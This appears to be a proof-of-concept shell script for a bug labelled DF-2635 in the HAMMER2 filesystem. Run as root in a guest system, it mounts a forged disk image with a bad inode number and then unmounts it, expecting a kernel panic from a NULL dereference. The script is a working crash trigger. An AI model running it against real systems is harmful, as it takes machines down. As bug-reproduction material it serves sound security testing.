#!/bin/sh
# DF-2635 run (guest, root): mount forged image (bad meta.inum), touch fs, umount.
set -x
cd /root/poc/df2635
vnconfig -u vn1 2>/dev/null || true
vnconfig -c vn1 /root/poc/df2635/craft2635.img
mkdir -p /mnt/h2635
mount_hammer2 -o ro /dev/vn1@testvol /mnt/h2635 || echo "MOUNT rc=$?"
ls -la /mnt/h2635 || echo "LS rc=$?"
echo "content check:"; echo hello > /mnt/h2635/f 2>&1 || echo "write rc=$?"
cat /mnt/h2635/f 2>&1
sync /mnt/h2635 2>&1 || true
echo "=== now umount: expect NULL-deref panic in hammer2_inode_drop ==="
umount /mnt/h2635
echo "UMOUNT_RC=$?"
vnconfig -u vn1
echo DF2635_RUN_DONE
